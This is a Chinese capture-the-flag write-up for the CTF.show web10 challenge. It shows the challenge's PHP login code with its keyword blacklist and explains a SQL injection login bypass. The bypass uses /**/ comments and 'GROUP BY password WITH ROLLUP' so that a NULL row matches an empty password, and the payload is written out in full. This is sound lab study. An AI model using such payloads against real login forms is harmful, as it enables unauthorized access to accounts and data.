CTF.show:web10

和web9一样。先查看一下源码,
右键查看源代码
在这里插入图片描述
进入style.css
在这里插入图片描述
发现有index.phps
在url处输入后,查看源码得到




<?php
		$flag="";
        function replaceSpecialChar($strParam){
             $regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";
             return preg_replace($regex,"",$strParam);
        }
        if (!$con)
        {
            die('Could not connect: ' . mysqli_error());
        }
		if(strlen($username)!=strlen(replaceSpecialChar($username))){
			die("sql inject error");
		}
		if(strlen($password)!=strlen(replaceSpecialChar($password))){
			die("sql inject error");
		}
		$sql="select * from user where username = '$username'";
		$result=mysqli_query($con,$sql);
			if(mysqli_num_rows($result)>0){
					while($row=mysqli_fetch_assoc($result)){
						if($password==$row['password']){
							echo "登陆成功<br>";
							echo $flag;
						}

					 }
			}
    ?>


发现被过滤了这些东西select|from|where|join|sleep|and|\s|union|,
又被这个避免了双写绕过if(strlen($password)!=strlen(replaceSpecialChar($password))){ die("sql inject error");}
这时候,我们要用到group by和roll with(以下图从别的师傅那拿的)
group by(将结果集中的数据行根据选择列的值进行逻辑分组):
不加group为
在这里插入图片描述
在使用group by以后会按照password中的值进行排列:
在这里插入图片描述
with rollup (group by 后可以跟with rollup,表示在进行分组统计的基础上再次进行汇总统计)
来看实例:
在这里插入图片描述
此时我们发现,多出一行NULL,并且count(*)为统计和。
加入with rollup后 password有一行为NULL。
payload在用户名框中进行输入,密码框不输入,使其为空,满足 p a s s w o r d = = password== password==row[‘password’]

username=admin'/**/or/**/1=1/**/group/**/by/**/password/**/with/**/rollup#&password=

在这里插入图片描述

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值